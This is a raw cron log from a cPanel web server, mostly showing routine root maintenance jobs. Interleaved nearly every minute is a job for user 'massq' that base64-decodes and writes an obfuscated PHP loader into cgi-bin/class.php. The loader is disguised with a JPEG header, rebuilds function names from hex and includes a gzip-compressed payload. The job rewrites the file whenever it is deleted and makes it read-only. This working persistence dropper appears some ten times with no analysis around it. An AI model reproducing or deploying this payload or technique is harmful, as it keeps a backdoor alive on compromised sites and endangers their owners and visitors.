Aug 31 14:38:01 server CROND[19119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:38:01 server CROND[19120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:38:01 server CROND[19121]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:39:01 server CROND[19510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:39:01 server CROND[19511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:39:01 server CROND[19513]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 14:39:01 server CROND[19512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:40:01 server CROND[19910]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 14:40:01 server CROND[19913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:40:01 server CROND[19915]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 14:40:01 server CROND[19917]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 14:40:01 server CROND[19916]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:40:01 server CROND[19914]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 14:40:01 server CROND[19920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:40:01 server CROND[19912]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 14:41:01 server CROND[20855]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:41:01 server CROND[20854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:41:01 server CROND[20856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:42:01 server CROND[21247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:42:01 server CROND[21248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:42:01 server CROND[21250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:42:01 server CROND[21249]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 14:43:01 server CROND[21691]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:43:01 server CROND[21692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:43:01 server CROND[21693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:44:01 server CROND[22188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:44:01 server CROND[22189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:44:01 server CROND[22190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:45:01 server CROND[22635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:45:01 server CROND[22636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:45:01 server CROND[22638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:45:01 server CROND[22639]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 14:45:01 server CROND[22640]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 14:45:01 server CROND[22647]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 14:45:01 server CROND[22641]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 14:46:01 server CROND[23739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:46:01 server CROND[23740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:46:01 server CROND[23741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:47:01 server CROND[24136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:47:01 server CROND[24137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:47:01 server CROND[24138]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:48:01 server CROND[24522]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:48:01 server CROND[24523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:48:01 server CROND[24524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:49:01 server CROND[24912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:49:01 server CROND[24913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:49:01 server CROND[24914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:50:01 server CROND[25311]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 14:50:01 server CROND[25313]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 14:50:01 server CROND[25316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
